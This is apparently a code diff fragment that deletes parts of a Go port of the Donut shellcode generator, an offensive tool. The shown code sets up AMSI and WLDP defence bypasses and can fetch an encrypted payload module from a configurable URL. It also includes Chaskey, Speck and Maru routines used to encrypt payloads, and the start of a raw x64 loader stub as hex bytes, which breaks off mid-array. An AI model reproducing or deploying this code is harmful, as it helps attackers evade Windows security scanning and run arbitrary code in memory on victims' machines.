// required to disable AMSI
|
||||
copy(inst.Clr[:], "clr")
|
||||
copy(inst.Amsi[:], "amsi")
|
||||
copy(inst.AmsiInit[:], "AmsiInitialize")
|
||||
copy(inst.AmsiScanBuf[:], "AmsiScanBuffer")
|
||||
copy(inst.AmsiScanStr[:], "AmsiScanString")
|
||||
|
||||
// stuff for PE loader
|
||||
if len(config.Parameters) > 0 {
|
||||
copy(inst.Dataname[:], ".data")
|
||||
copy(inst.Kernelbase[:], "kernelbase")
|
||||
|
||||
copy(inst.CmdSyms[:],
|
||||
"_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv")
|
||||
}
|
||||
if config.Thread != 0 {
|
||||
copy(inst.ExitApi[:], "ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit")
|
||||
}
|
||||
// required to disable WLDP
|
||||
copy(inst.Wldp[:], "wldp")
|
||||
copy(inst.WldpQuery[:], "WldpQueryDynamicCodeTrust")
|
||||
copy(inst.WldpIsApproved[:], "WldpIsClassInApprovedList")
|
||||
|
||||
// set the type of instance we're creating
|
||||
inst.Type = uint32(int(config.InstType))
|
||||
|
||||
// indicate if we should call RtlExitUserProcess to terminate host process
|
||||
inst.ExitOpt = config.ExitOpt
|
||||
// set the fork option
|
||||
inst.OEP = config.OEP
|
||||
// set the entropy level
|
||||
inst.Entropy = config.Entropy
|
||||
|
||||
// if the module will be downloaded
|
||||
// set the URL parameter and request verb
|
||||
if inst.Type == DONUT_INSTANCE_URL {
|
||||
if config.ModuleName != "" {
|
||||
if config.Entropy != DONUT_ENTROPY_NONE {
|
||||
// generate a random name for module
|
||||
// that will be saved to disk
|
||||
config.ModuleName = RandomString(DONUT_MAX_MODNAME)
|
||||
if config.Verbose {
|
||||
log.Println("Generated random name for module :", config.ModuleName)
|
||||
}
|
||||
} else {
|
||||
config.ModuleName = "AAAAAAAA"
|
||||
}
|
||||
}
|
||||
if config.Verbose {
|
||||
log.Println("Setting URL parameters")
|
||||
}
|
||||
// append module name
|
||||
copy(inst.Url[:], config.URL+"/"+config.ModuleName)
|
||||
// set the request verb
|
||||
copy(inst.Req[:], "GET")
|
||||
if config.Verbose {
|
||||
log.Println("Payload will attempt download from:", string(inst.Url[:]))
|
||||
}
|
||||
}
|
||||
|
||||
inst.Mod_len = uint64(modLen) + 8 //todo: this 8 is from alignment I think?
|
||||
inst.Len = instLen
|
||||
config.inst = inst
|
||||
config.instLen = instLen
|
||||
|
||||
if config.InstType == DONUT_INSTANCE_URL && config.Entropy == DONUT_ENTROPY_DEFAULT {
|
||||
if config.Verbose {
|
||||
log.Println("encrypting module for download")
|
||||
}
|
||||
config.ModuleMac = Maru(inst.Sig[:], inst.Iv)
|
||||
config.ModuleData = bytes.NewBuffer(Encrypt(
|
||||
inst.ModKeyMk[:],
|
||||
inst.ModKeyCtr[:],
|
||||
config.ModuleData.Bytes()))
|
||||
b := new(bytes.Buffer)
|
||||
inst.Len = instLen - 8 /* magic padding */
|
||||
inst.WriteTo(b)
|
||||
for uint32(b.Len()) < instLen-16 /* magic padding */ {
|
||||
b.WriteByte(0)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
// else if config.InstType == DONUT_INSTANCE_PIC
|
||||
b := new(bytes.Buffer)
|
||||
inst.WriteTo(b)
|
||||
if _, err := config.ModuleData.WriteTo(b); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
for uint32(b.Len()) < config.instLen {
|
||||
b.WriteByte(0)
|
||||
}
|
||||
if config.Entropy != DONUT_ENTROPY_DEFAULT {
|
||||
return b, nil
|
||||
}
|
||||
if config.Verbose {
|
||||
log.Println("encrypting instance")
|
||||
}
|
||||
instData := b.Bytes()
|
||||
offset := 4 + // Len uint32
|
||||
CipherKeyLen + CipherBlockLen + // Instance Crypt
|
||||
4 + // pad
|
||||
8 + // IV
|
||||
(64 * 8) + // Hashes (64 uuids of len 64bit)
|
||||
4 + // exit_opt
|
||||
4 + // entropy
|
||||
8 // OEP
|
||||
|
||||
encInstData := Encrypt(
|
||||
inst.KeyMk[:],
|
||||
inst.KeyCtr[:],
|
||||
instData[offset:])
|
||||
|
||||
bc := new(bytes.Buffer)
|
||||
binary.Write(bc, binary.LittleEndian, instData[:offset]) // unencrypted header
|
||||
if _, err := bc.Write(encInstData); err != nil { // encrypted body
|
||||
log.Fatal(err)
|
||||
}
|
||||
if config.Verbose {
|
||||
log.Println("Leaving.")
|
||||
}
|
||||
return bc, nil
|
||||
}
|
||||
|
||||
// DefaultConfig - returns a default donut config for x32+64, EXE, native binary
|
||||
func DefaultConfig() *DonutConfig {
|
||||
return &DonutConfig{
|
||||
Arch: X84,
|
||||
Type: DONUT_MODULE_EXE,
|
||||
InstType: DONUT_INSTANCE_PIC,
|
||||
Entropy: DONUT_ENTROPY_DEFAULT,
|
||||
Compress: 1,
|
||||
Format: 1,
|
||||
Bypass: 3,
|
||||
}
|
||||
}
|
||||
-191
@@ -1,191 +0,0 @@
|
||||
package donut
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// Chaskey Implementation ported from donut
|
||||
|
||||
const (
|
||||
// CipherBlockLen - Chaskey Block Length
|
||||
CipherBlockLen = uint32(128 / 8)
|
||||
// CipherKeyLen - Chaskey Key Length
|
||||
CipherKeyLen = uint32(128 / 8)
|
||||
)
|
||||
|
||||
// ROTR32 - rotates a byte right (same as (32 - n) left)
|
||||
func ROTR32(v uint32, n uint32) uint32 {
|
||||
return (v >> n) | (v << (32 - n))
|
||||
}
|
||||
|
||||
// Chaskey Encryption Function
|
||||
func Chaskey(masterKey []byte, data []byte) []byte {
|
||||
// convert inputs to []uint32
|
||||
mk := BytesToUint32s(masterKey)
|
||||
p := BytesToUint32s(data)
|
||||
|
||||
// add 128-bit master key
|
||||
for i := 0; i < 4; i++ {
|
||||
p[i] ^= mk[i]
|
||||
}
|
||||
// apply 16 rounds of permutation
|
||||
for i := 0; i < 16; i++ {
|
||||
p[0] += p[1]
|
||||
p[1] = ROTR32(p[1], 27) ^ p[0]
|
||||
p[2] += p[3]
|
||||
p[3] = ROTR32(p[3], 24) ^ p[2]
|
||||
p[2] += p[1]
|
||||
p[0] = ROTR32(p[0], 16) + p[3]
|
||||
p[3] = ROTR32(p[3], 19) ^ p[0]
|
||||
p[1] = ROTR32(p[1], 25) ^ p[2]
|
||||
p[2] = ROTR32(p[2], 16)
|
||||
}
|
||||
// add 128-bit master key
|
||||
for i := 0; i < 4; i++ {
|
||||
p[i] ^= mk[i]
|
||||
}
|
||||
// convert to []byte for XOR phase
|
||||
b := bytes.NewBuffer([]byte{})
|
||||
w := bufio.NewWriter(b)
|
||||
for _, v := range p {
|
||||
binary.Write(w, binary.LittleEndian, v)
|
||||
}
|
||||
w.Flush()
|
||||
return b.Bytes()
|
||||
}
|
||||
|
||||
// BytesToUint32s - converts a Byte array to an array of uint32s
|
||||
func BytesToUint32s(inbytes []byte) []uint32 {
|
||||
mb := bytes.NewBuffer(inbytes)
|
||||
r := bufio.NewReader(mb)
|
||||
var outints []uint32
|
||||
for i := 0; i < len(inbytes); i = i + 4 {
|
||||
var tb uint32
|
||||
binary.Read(r, binary.LittleEndian, &tb)
|
||||
outints = append(outints, tb)
|
||||
}
|
||||
return outints
|
||||
}
|
||||
|
||||
// Encrypt - encrypt/decrypt data in counter mode
|
||||
func Encrypt(mk []byte, ctr []byte, data []byte) []byte {
|
||||
length := uint32(len(data))
|
||||
x := make([]byte, CipherBlockLen)
|
||||
p := uint32(0) // data blocks counter
|
||||
retval := make([]byte, length)
|
||||
for length > 0 {
|
||||
// copy counter+nonce to local buffer
|
||||
copy(x[:CipherBlockLen], ctr[:CipherBlockLen])
|
||||
|
||||
// donut_encrypt x
|
||||
x = Chaskey(mk, x)
|
||||
|
||||
// XOR plaintext with ciphertext
|
||||
r := uint32(0)
|
||||
if length > CipherBlockLen {
|
||||
r = CipherBlockLen
|
||||
} else {
|
||||
r = length
|
||||
}
|
||||
for i := uint32(0); i < r; i++ {
|
||||
retval[i+p] = data[i+p] ^ x[i]
|
||||
}
|
||||
// update length + position
|
||||
length -= r
|
||||
p += r
|
||||
|
||||
// update counter
|
||||
for i := CipherBlockLen - 1; i >= 0; i-- {
|
||||
ctr[i]++
|
||||
if ctr[i] != 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return retval
|
||||
}
|
||||
|
||||
// Speck 64/128
|
||||
func Speck(mk []byte, p uint64) uint64 {
|
||||
w := make([]uint32, 2)
|
||||
buf := new(bytes.Buffer)
|
||||
binary.Write(buf, binary.LittleEndian, p)
|
||||
binary.Read(buf, binary.LittleEndian, &w[0])
|
||||
binary.Read(buf, binary.LittleEndian, &w[1])
|
||||
k := make([]uint32, 4)
|
||||
|
||||
r := bytes.NewBuffer(mk)
|
||||
for c := 0; c < 4; c++ {
|
||||
binary.Read(r, binary.LittleEndian, &k[c])
|
||||
}
|
||||
|
||||
for i := uint32(0); i < 27; i++ {
|
||||
// encrypt 64-bit plaintext
|
||||
w[0] = (ROTR32(w[0], 8) + w[1]) ^ k[0]
|
||||
w[1] = ROTR32(w[1], 29) ^ w[0]
|
||||
|
||||
// create next 32-bit subkey
|
||||
t := k[3]
|
||||
k[3] = (ROTR32(k[1], 8) + k[0]) ^ i
|
||||
k[0] = ROTR32(k[0], 29) ^ k[3]
|
||||
k[1] = k[2]
|
||||
k[2] = t
|
||||
}
|
||||
|
||||
// return 64-bit ciphertext
|
||||
b := bytes.NewBuffer([]byte{})
|
||||
binary.Write(b, binary.LittleEndian, w[0])
|
||||
binary.Write(b, binary.LittleEndian, w[1])
|
||||
num := binary.LittleEndian.Uint64(b.Bytes())
|
||||
return num
|
||||
}
|
||||
|
||||
// Maru hash
|
||||
func Maru(input []byte, iv uint64) uint64 { // todo: iv and return must be 8 bytes
|
||||
|
||||
// set H to initial value
|
||||
//h := binary.LittleEndian.Uint64(iv)
|
||||
h := iv
|
||||
b := make([]byte, MARU_BLK_LEN)
|
||||
|
||||
idx, length, end := 0, 0, 0
|
||||
for {
|
||||
if end > 0 {
|
||||
break
|
||||
}
|
||||
// end of string or max len?
|
||||
if length == len(input) || input[length] == 0 || length == MARU_MAX_STR {
|
||||
// zero remainder of M
|
||||
for j := idx; j < MARU_BLK_LEN; /*-idx*/ j++ {
|
||||
b[j] = 0
|
||||
}
|
||||
// store the end bit
|
||||
b[idx] = 0x80
|
||||
// have we space in M for api length?
|
||||
if idx >= MARU_BLK_LEN-4 {
|
||||
// no, update H with E
|
||||
h ^= Speck(b, h)
|
||||
// zero M
|
||||
b = make([]byte, MARU_BLK_LEN)
|
||||
}
|
||||
// store total length in bits
|
||||
binary.LittleEndian.PutUint32(b[MARU_BLK_LEN-4:], uint32(length)*8)
|
||||
idx = MARU_BLK_LEN
|
||||
end++
|
||||
} else {
|
||||
// store character from api string
|
||||
b[idx] = input[length]
|
||||
idx++
|
||||
length++
|
||||
}
|
||||
if idx == MARU_BLK_LEN {
|
||||
// update H with E
|
||||
h ^= Speck(b, h)
|
||||
// reset idx
|
||||
idx = 0
|
||||
}
|
||||
}
|
||||
return h
|
||||
}
|
||||
-885
@@ -1,885 +0,0 @@
|
||||
package donut
|
||||
|
||||
// LOADER_EXE_X64 - stub for EXE PE files
|
||||
var LOADER_EXE_X64 = []byte{
|
||||
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
|
||||
0x74, 0x24, 0x18, 0x57, 0x48, 0x81, 0xec, 0x00, 0x05, 0x00, 0x00, 0x33,
|
||||
0xff, 0x48, 0x8b, 0xd9, 0x48, 0x39, 0xb9, 0x38, 0x02, 0x00, 0x00, 0x0f,
|
||||
0x84, 0xc0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x41, 0x28, 0x48, 0x8b, 0x91,
|
||||
0x88, 0x00, 0x00, 0x00, 0xe8, 0x1f, 0x23, 0x00, 0x00, 0x48, 0x85, 0xc0,
|
||||
0x0f, 0x84, 0xa1, 0x00, 0x00, 0x00, 0x48, 0x21, 0x7c, 0x24, 0x28, 0x4c,
|
||||
0x8d, 0x05, 0x32, 0x11, 0x00, 0x00, 0x21, 0x7c, 0x24, 0x20, 0x4c, 0x8b,
|
||||
0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0xd0, 0x4c, 0x8b, 0x43, 0x28, 0x48,
|
||||
0x8b, 0xcb, 0x48, 0x8b, 0x93, 0xb8, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8,
|
||||
0xe8, 0xe7, 0x22, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb,
|
||||
0x48, 0x8b, 0x93, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0xe8, 0xd1,
|
||||
0x22, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b,
|
||||
0x93, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0xe8, 0xbb, 0x22, 0x00,
|
||||
0x00, 0x48, 0x85, 0xed, 0x74, 0x4c, 0x48, 0x85, 0xf6, 0x74, 0x47, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x42, 0xc7, 0x44, 0x24, 0x60, 0x0b, 0x00, 0x10, 0x00,
|
||||
0xff, 0xd0, 0x48, 0x8b, 0xc8, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xff, 0xd6,
|
||||
0x48, 0x8b, 0x83, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30,
|
||||
0x48, 0x83, 0xa4, 0x24, 0xc8, 0x00, 0x00, 0x00, 0xf0, 0x33, 0xd2, 0x48,
|
||||
0x89, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0xff, 0xd5, 0xeb, 0x0b, 0x48,
|
||||
0x83, 0xc8, 0xff, 0xeb, 0x08, 0xe8, 0x92, 0x10, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x00, 0x05, 0x00, 0x00, 0x49, 0x8b, 0x5b,
|
||||
0x10, 0x49, 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0xe3,
|
||||
0x5f, 0xc3, 0xcc, 0xcc, 0xf0, 0xff, 0x41, 0x08, 0x8b, 0x41, 0x08, 0xc3,
|
||||
0xb8, 0x01, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0x4d, 0x85, 0xc0, 0x75,
|
||||
0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, 0x8b, 0x49, 0x10, 0x49,
|
||||
0x8b, 0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x49,
|
||||
0x8b, 0x81, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19,
|
||||
0x49, 0x8b, 0x81, 0xb4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x17,
|
||||
0x49, 0x8b, 0x81, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75,
|
||||
0x0a, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08, 0x33, 0xc0, 0xc3, 0x49,
|
||||
0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x08, 0xff, 0xc8, 0xc3, 0xcc,
|
||||
0x33, 0xc0, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c,
|
||||
0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20,
|
||||
0x49, 0x8b, 0xf9, 0x41, 0x8b, 0xe8, 0x48, 0x8b, 0xf1, 0x41, 0xf6, 0xc0,
|
||||
0x02, 0x74, 0x1b, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x85, 0xdb, 0x74,
|
||||
0x1c, 0x48, 0x8b, 0x49, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48,
|
||||
0x8b, 0x46, 0x38, 0x48, 0x89, 0x03, 0x40, 0xf6, 0xc5, 0x01, 0x74, 0x1c,
|
||||
0x48, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x12,
|
||||
0x48, 0x8d, 0x5e, 0x28, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcb, 0xff, 0x50,
|
||||
0x08, 0x48, 0x89, 0x1f, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48,
|
||||
0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
|
||||
0x41, 0x58, 0x48, 0x8b, 0xda, 0xff, 0x50, 0x78, 0x89, 0x03, 0x33, 0xc0,
|
||||
0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53,
|
||||
0x48, 0x83, 0xec, 0x60, 0x83, 0x60, 0x20, 0x00, 0x48, 0x8d, 0x48, 0xb8,
|
||||
0x83, 0x60, 0x18, 0x00, 0x48, 0x8b, 0xda, 0x83, 0x60, 0x10, 0x00, 0x33,
|
||||
0xd2, 0x44, 0x8d, 0x42, 0x40, 0xe8, 0xba, 0x26, 0x00, 0x00, 0x48, 0x8b,
|
||||
0x03, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x50, 0x18,
|
||||
0x85, 0xc0, 0x75, 0x1e, 0x48, 0x8b, 0x03, 0x4c, 0x8d, 0x4c, 0x24, 0x78,
|
||||
0x4c, 0x8d, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48,
|
||||
0x8d, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0xff, 0x50, 0x20, 0x33, 0xc0,
|
||||
0x48, 0x83, 0xc4, 0x60, 0x5b, 0xc3, 0xcc, 0xcc, 0x4d, 0x8b, 0xc8, 0x4d,
|
||||
0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, 0x8b,
|
||||
0x41, 0x58, 0x49, 0x8b, 0x80, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02,
|
||||
0x75, 0x0d, 0x49, 0x8b, 0x80, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42,
|
||||
0x08, 0x74, 0x19, 0x49, 0x8b, 0x80, 0xa4, 0x06, 0x00, 0x00, 0x48, 0x3b,
|
||||
0x02, 0x75, 0x16, 0x49, 0x8b, 0x80, 0xac, 0x06, 0x00, 0x00, 0x48, 0x3b,
|
||||
0x42, 0x08, 0x75, 0x09, 0x49, 0x89, 0x09, 0xf0, 0xff, 0x41, 0x08, 0xeb,
|
||||
0x24, 0x49, 0x8b, 0x80, 0xb4, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75,
|
||||
0x1b, 0x49, 0x8b, 0x80, 0xbc, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08,
|
||||
0x75, 0x0e, 0x48, 0x8d, 0x41, 0x10, 0x49, 0x89, 0x01, 0xf0, 0xff, 0x41,
|
||||
0x18, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00,
|
||||
0x80, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0x20, 0x00,
|
||||
0x33, 0xc0, 0xc3, 0xcc, 0x0f, 0xaf, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc,
|
||||
0x48, 0x8b, 0x44, 0x24, 0x28, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc,
|
||||
0x8d, 0x04, 0x11, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x55, 0x56, 0x57,
|
||||
0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48,
|
||||
0x81, 0xc1, 0x58, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, 0x8b, 0xf0,
|
||||
0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd7,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0xc0, 0x05, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84,
|
||||
0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x99, 0xff, 0xff, 0xff, 0x4c,
|
||||
0x8d, 0x3d, 0x86, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xff, 0x0f, 0x88, 0xa5,
|
||||
0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8,
|
||||
0x40, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf7, 0x48, 0x8b, 0xc8, 0xff, 0x53,
|
||||
0x60, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xc7,
|
||||
0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0xe8, 0x31, 0x25, 0x00, 0x00, 0x44,
|
||||
0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x41, 0x8b, 0xd6,
|
||||
0x48, 0x8b, 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0xd0, 0x05, 0x00,
|
||||
0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85,
|
||||
0xc0, 0x74, 0x51, 0x48, 0x8d, 0x3d, 0x42, 0xff, 0xff, 0xff, 0x4c, 0x8d,
|
||||
0x35, 0x2f, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xfe, 0x78, 0x3e, 0x4c, 0x8d,
|
||||
0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x8b,
|
||||
0xef, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44,
|
||||
0x8b, 0xc7, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce, 0xe8, 0xcf, 0x24, 0x00,
|
||||
0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x8b,
|
||||
0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9, 0x21, 0xff, 0xff, 0xff,
|
||||
0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41,
|
||||
0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20,
|
||||
0x48, 0x8b, 0xd9, 0x48, 0x81, 0xc1, 0x64, 0x03, 0x00, 0x00, 0xff, 0x53,
|
||||
0x30, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00,
|
||||
0x00, 0x00, 0xe9, 0xd7, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x70, 0x05,
|
||||
0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xe8, 0x48,
|
||||
0x85, 0xc0, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0xc9,
|
||||
0x1e, 0x00, 0x00, 0x4c, 0x8d, 0x3d, 0xf6, 0xfc, 0xff, 0xff, 0x41, 0x2b,
|
||||
0xff, 0x0f, 0x88, 0xa5, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50,
|
||||
0x8b, 0xd7, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf7, 0x48,
|
||||
0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00,
|
||||
0x00, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xcd, 0xe8, 0x19,
|
||||
0x24, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d, 0x4c, 0x24,
|
||||
0x58, 0x41, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0xff, 0x53, 0x60, 0x48, 0x8d,
|
||||
0x93, 0x90, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x38, 0x48,
|
||||
0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x51, 0x48, 0x8d, 0x3d, 0x56, 0x1e,
|
||||
0x00, 0x00, 0x4c, 0x8d, 0x35, 0x43, 0x1e, 0x00, 0x00, 0x41, 0x2b, 0xfe,
|
||||
0x78, 0x3e, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x8b, 0xd7, 0x41, 0xb8, 0x40,
|
||||
0x00, 0x00, 0x00, 0x8b, 0xef, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85,
|
||||
0xc0, 0x74, 0x25, 0x44, 0x8b, 0xc7, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce,
|
||||
0xe8, 0xb7, 0x23, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x50, 0x4c, 0x8d,
|
||||
0x4c, 0x24, 0x58, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9,
|
||||
0x21, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48,
|
||||
0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc,
|
||||
0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
|
||||
0x57, 0x48, 0x8d, 0xac, 0x24, 0x48, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec,
|
||||
0xb8, 0x02, 0x00, 0x00, 0x83, 0xa5, 0x08, 0x02, 0x00, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xf9, 0x45, 0x33, 0xf6, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x33, 0xd2,
|
||||
0xbe, 0x00, 0x02, 0x60, 0x84, 0x41, 0x8d, 0x5e, 0x68, 0x44, 0x8b, 0xc3,
|
||||
0xe8, 0x6b, 0x23, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xb0, 0x89, 0x5c, 0x24,
|
||||
0x40, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x8f, 0xe8, 0x06, 0x00,
|
||||
0x00, 0x48, 0x8d, 0x85, 0xb0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89,
|
||||
0x45, 0x88, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0xb8, 0x00, 0x01, 0x00, 0x00,
|
||||
0x41, 0xb8, 0x00, 0x00, 0x00, 0x10, 0x89, 0x44, 0x24, 0x60, 0x89, 0x45,
|
||||
0x90, 0xff, 0x97, 0x00, 0x01, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, 0x0f,
|
||||
0x84, 0x16, 0x02, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x54, 0x04, 0xb8, 0x00,
|
||||
0x32, 0xe0, 0x84, 0x44, 0x8b, 0xe3, 0x89, 0x5c, 0x24, 0x20, 0x41, 0x0f,
|
||||
0x94, 0xc4, 0x0f, 0x44, 0xf0, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33,
|
||||
0xd2, 0x33, 0xc9, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8,
|
||||
0x48, 0x85, 0xc0, 0x0f, 0x84, 0xe2, 0x01, 0x00, 0x00, 0x44, 0x0f, 0xb7,
|
||||
0x44, 0x24, 0x64, 0x48, 0x8d, 0x55, 0xb0, 0x48, 0x89, 0x5c, 0x24, 0x38,
|
||||
0x45, 0x33, 0xc9, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc8, 0xc7, 0x44,
|
||||
0x24, 0x28, 0x03, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff,
|
||||
0x97, 0x10, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f,
|
||||
